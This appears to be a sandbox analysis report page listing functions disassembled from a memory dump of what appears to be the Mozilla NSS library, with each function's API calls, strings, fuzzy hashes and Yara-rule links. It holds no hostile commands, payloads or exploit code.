Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Alloc_$Error$FindHashLookupTable$ConstCopyCurrentGrow_Item_Tag_Threadstrlen
String ID:
API String ID: 915756558-0
Opcode ID: 9c569a9f203f87ff574882c269cc7d2df6116064ee480c1aa46b74f4135963de
Instruction ID: 0b13b06e974cdc7450d3e437c803b3d05e5bc14c97947234c1c291b11cb193ef
Opcode Fuzzy Hash: 9c569a9f203f87ff574882c269cc7d2df6116064ee480c1aa46b74f4135963de
Instruction Fuzzy Hash: 52515C70A013019FE710CF29DC90B67B7E1FF85388F254568D8598BBA1E779E958CB90

Function 6C4D7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C622120,Function_00097E60,00000000,?,?,?,?,6C55067D,6C551C60,00000000), ref: 6C4D7C81

Part of subcall function 6C444C70: TlsGetValue.KERNEL32(?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444C97
Part of subcall function 6C444C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CB0
Part of subcall function 6C444C70: PR_Unlock.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CC9

TlsGetValue.KERNEL32 ref: 6C4D7CA0
EnterCriticalSection.KERNEL32(?), ref: 6C4D7CB4
PR_Unlock.NSS3 ref: 6C4D7CCF

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

TlsGetValue.KERNEL32 ref: 6C4D7D04
EnterCriticalSection.KERNEL32(?), ref: 6C4D7D1B
realloc.MOZGLUE(-00000050), ref: 6C4D7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4D7DF4
PR_Unlock.NSS3 ref: 6C4D7E0E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: f2eaa577654c60781746e2eee584756281fabea16d2cd2b643f5997cfe5040eb
Instruction ID: 17400b91d8dd97bbad6b7056e7f66914e35828b800d6162e3123599dcdd47246
Opcode Fuzzy Hash: f2eaa577654c60781746e2eee584756281fabea16d2cd2b643f5997cfe5040eb
Instruction Fuzzy Hash: DF510671A18101DFDF00FF2ACC99EA577B5FB4232AF16412ADE0547B25EB31A851CA84

Function 6C527870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6C5291C5), ref: 6C52788F

Part of subcall function 6C5207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C4C8298,?,?,?,6C4BFCE5,?), ref: 6C5207BF
Part of subcall function 6C5207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5207E6
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C52081B
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C520825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5291C5), ref: 6C5278BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C5291C5), ref: 6C5278FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C5291C5), ref: 6C527930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5291C5), ref: 6C527951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C527964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C52797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C527988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C527998
free.MOZGLUE(00000000), ref: 6C5279A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C5291C5), ref: 6C5279BB
PR_GetCurrentThread.NSS3(?,?,?,?,6C5291C5), ref: 6C5279CA

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: 916c9dfb463fbcf207da0d880f3bc1e8190cc2f41a82f35df5ac001b3660e247
Instruction ID: d047b661756cb1e008b17f58ac268900c788669c172da2d8e07149dd82358a58
Opcode Fuzzy Hash: 916c9dfb463fbcf207da0d880f3bc1e8190cc2f41a82f35df5ac001b3660e247
Instruction Fuzzy Hash: 2441D6B2A013019BEB10CB79DC45B6B77E8EF44398F250538E819D7B81E765EC08C6A1

Function 6C444C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CB0
PR_Unlock.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444D97
PR_Lock.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444DBA
PR_WaitCondVar.NSS3 ref: 6C444DD4
PR_Unlock.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444DEF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: c90527bda2b2adfa44c2d4338493c6b0ee98fa968af80599a0bd3af3c90a4f44
Instruction ID: 5f33c72a7d7beb7c4cbba18e460035730362f8766f8ed0c348d1d25b2041640d
Opcode Fuzzy Hash: c90527bda2b2adfa44c2d4338493c6b0ee98fa968af80599a0bd3af3c90a4f44
Instruction Fuzzy Hash: 574189B5A08615CFDB00EF7AC484D59BBB4FF05355F268629D8889BB10E730D885CB85

Function 6C4C38E0 Relevance: 18.1, APIs: 12, Instructions: 83COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C4C38A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4C38FF
EnterCriticalSection.KERNEL32(?,?,?,?,6C4C38A8), ref: 6C4C3918
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C4C38A8), ref: 6C4C392C
PR_Unlock.NSS3(?,?,?,?,?,6C4C38A8), ref: 6C4C3941
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C4C38A8), ref: 6C4C3952
free.MOZGLUE(?,?,?,?,?,?,6C4C38A8), ref: 6C4C395E
TlsGetValue.KERNEL32(00000000,?,?,6C4C38A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4C3981
EnterCriticalSection.KERNEL32(?,?,?,?,6C4C38A8), ref: 6C4C3996
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C4C38A8), ref: 6C4C39AA
PR_Unlock.NSS3(?,?,?,?,?,6C4C38A8), ref: 6C4C39BF
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C4C38A8), ref: 6C4C39D0
free.MOZGLUE(?,?,?,?,?,?,6C4C38A8), ref: 6C4C39DC

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$DeleteDestroyEnterHashTableUnlockValuefree
String ID:
API String ID: 2967110932-0
Opcode ID: 204928297ea349486297cecdd70dfe589b007b58d48602a2d41e5c8e9b779937
Instruction ID: 133b24ac947adf9331489eae6925567815f53401073574efde43b38c2f0b406e
Opcode Fuzzy Hash: 204928297ea349486297cecdd70dfe589b007b58d48602a2d41e5c8e9b779937
Instruction Fuzzy Hash: F7312CB4A54606DBDB00BF7AC08D959BBF4FB06315F01492ADC95D3B00EB34A499CBCA

Function 6C44F880 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 341COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001158E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C44FB69

Part of subcall function 6C5793E0: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C579419

memcpy.VCRUNTIME140(?,?,?), ref: 6C44F8FC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C44F93E
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C44FA44
memcpy.VCRUNTIME140(?,?,?), ref: 6C44FA66
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C44FB3A
memcpy.VCRUNTIME140(?,?,?), ref: 6C44FC01

Strings

database corruption, xrefs: 6C44FB5D
%s at line %d of [%.10s], xrefs: 6C44FB62
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C44FB2A, 6C44FB47, 6C44FB53, 6C44FCAE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpy$_byteswap_ulong$_byteswap_ushortmemsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1835766639-598938438
Opcode ID: 8d3ba152aef4f20141042f4b3022f8887835a2f73f0e3ac099b538c1d68aefe3
Instruction ID: ac00201606f18bea2222bd3564d71030fc78b0b81c12acf1a415b12ebc97b176
Opcode Fuzzy Hash: 8d3ba152aef4f20141042f4b3022f8887835a2f73f0e3ac099b538c1d68aefe3
Instruction Fuzzy Hash: 5BD12671E012199FEB04CFA9D880E9EBBB1FF49314F248129E915B7B50E735AD06CB94

Function 6C579820 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(-00000001), ref: 6C5798B8
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C579978
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57999E
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?), ref: 6C579B68

Part of subcall function 6C579C40: memcmp.VCRUNTIME140(?,00000000,6C44C52B), ref: 6C579D53

EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 6C579B12
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000118F8,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C579BBF
sqlite3_free.NSS3(00000000,?,?,?), ref: 6C579BF5

Part of subcall function 6C44CA30: EnterCriticalSection.KERNEL32(?,?,?,6C4AF9C9,?,6C4AF4DA,6C4AF9C9,?,?,6C47369A), ref: 6C44CA7A
Part of subcall function 6C44CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C44CB26

Part of subcall function 6C44F880: memcpy.VCRUNTIME140(?,?,?), ref: 6C44F8FC
Part of subcall function 6C44F880: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C44F93E

Strings

database corruption, xrefs: 6C579BB3
%s at line %d of [%.10s], xrefs: 6C579BB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C579A3C, 6C579B9D, 6C579BA9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$EnterLeave_byteswap_ulong_byteswap_ushort$memcmpmemcpysqlite3_freesqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4240395935-598938438
Opcode ID: 10c69e16b7c78a26aa97fcf68c330b3411baabe575532e736aed1630fd5b67f5
Instruction ID: fee0c6f9585ae96fa1a47798d652807aa5c608bdf89c82f98d99015117e911fe
Opcode Fuzzy Hash: 10c69e16b7c78a26aa97fcf68c330b3411baabe575532e736aed1630fd5b67f5
Instruction Fuzzy Hash: 78C12471A046518BDB24CF6ACC84AAAF7B1BF4A314F184129E945ABB41D335ECC1CBF5

Function 6C4E8F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C4E9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C4E9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C4E9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C4E90EC

Part of subcall function 6C4B0F00: PR_GetPageSize.NSS3(6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F1B
Part of subcall function 6C4B0F00: PR_NewLogModule.NSS3(clock,6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C4E9111

Strings

n]l, xrefs: 6C4E90A3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: n]l
API String ID: 2831689957-3929973346
Opcode ID: cda3198a766dca4e6d97c3eb3d6527a0b2e84932325aeeac37e4f64f976c884b
Instruction ID: 8f78b52ec361e788649f5e0d28108e9f81d5e36d4331acb2597b1077e6459214
Opcode Fuzzy Hash: cda3198a766dca4e6d97c3eb3d6527a0b2e84932325aeeac37e4f64f976c884b
Instruction Fuzzy Hash: 53519974A04204CFDB00EF39C4C8E99BBF0AF49316F0645A9DC459BB42EB36E885CB85

Function 6C5D7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C5D7CE0

Part of subcall function 6C589BF0: TlsGetValue.KERNEL32(?,?,?,6C5D0A75), ref: 6C589C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D7D36
PR_Realloc.NSS3(?,00000080), ref: 6C5D7D6D
PR_GetCurrentThread.NSS3 ref: 6C5D7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C5D7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D7DD8
malloc.MOZGLUE(00000080), ref: 6C5D7DF8
PR_GetCurrentThread.NSS3 ref: 6C5D7E06

Strings

:%s:%d:0x%lx, xrefs: 6C5D7DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C5D7DF0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: eeb1203c168bbe2f74af8d399fcbd105ff76f46380ad392536788f8c059ca01a
Instruction ID: e1d064e1a6daa1cfeba93829d4d9abc64d85238704f55ce8e621cc959f28164b
Opcode Fuzzy Hash: eeb1203c168bbe2f74af8d399fcbd105ff76f46380ad392536788f8c059ca01a
Instruction Fuzzy Hash: 0741B1B1A003019FDB04DF2CDC8096A77A6FF80358B26456DE8198BB65D731F841CBA9

Function 6C5D7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C5D7E46

Part of subcall function 6C4B1240: TlsGetValue.KERNEL32(00000040,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B1267
Part of subcall function 6C4B1240: EnterCriticalSection.KERNEL32(?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B127C
Part of subcall function 6C4B1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B1291
Part of subcall function 6C4B1240: PR_Unlock.NSS3(?,?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C5D7EAF
PR_ImportFile.NSS3(?), ref: 6C5D7ECF
PR_GetCurrentThread.NSS3 ref: 6C5D7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C5D7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C5D7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C5D7F15

Strings

%d:0x%lx, xrefs: 6C5D7EA9
NSPR_INHERIT_FDS, xrefs: 6C5D7E41

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: f2c167d46ba8f83b3597f9cbbc3ab4bec6c006b8cd996bdfd0af1224f6fc3014
Instruction ID: 9ab240798079ab71407842a92cb389f835032b8f66d923368cdbd670af510f77
Opcode Fuzzy Hash: f2c167d46ba8f83b3597f9cbbc3ab4bec6c006b8cd996bdfd0af1224f6fc3014
Instruction Fuzzy Hash: AD310171A04316DBEB00DB7D8C40AABB7B9EB45388F224925D801A3B15E761AD04CB9A

Function 6C4E4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4E4E90
EnterCriticalSection.KERNEL32 ref: 6C4E4EA9
TlsGetValue.KERNEL32 ref: 6C4E4EC6
EnterCriticalSection.KERNEL32 ref: 6C4E4EDF
PL_HashTableLookup.NSS3 ref: 6C4E4EF8
PR_Unlock.NSS3 ref: 6C4E4F05
PR_Now.NSS3 ref: 6C4E4F13
PR_Unlock.NSS3 ref: 6C4E4F3A

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Strings

bUNl, xrefs: 6C4E4F3F
bUNl, xrefs: 6C4E4E5C

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
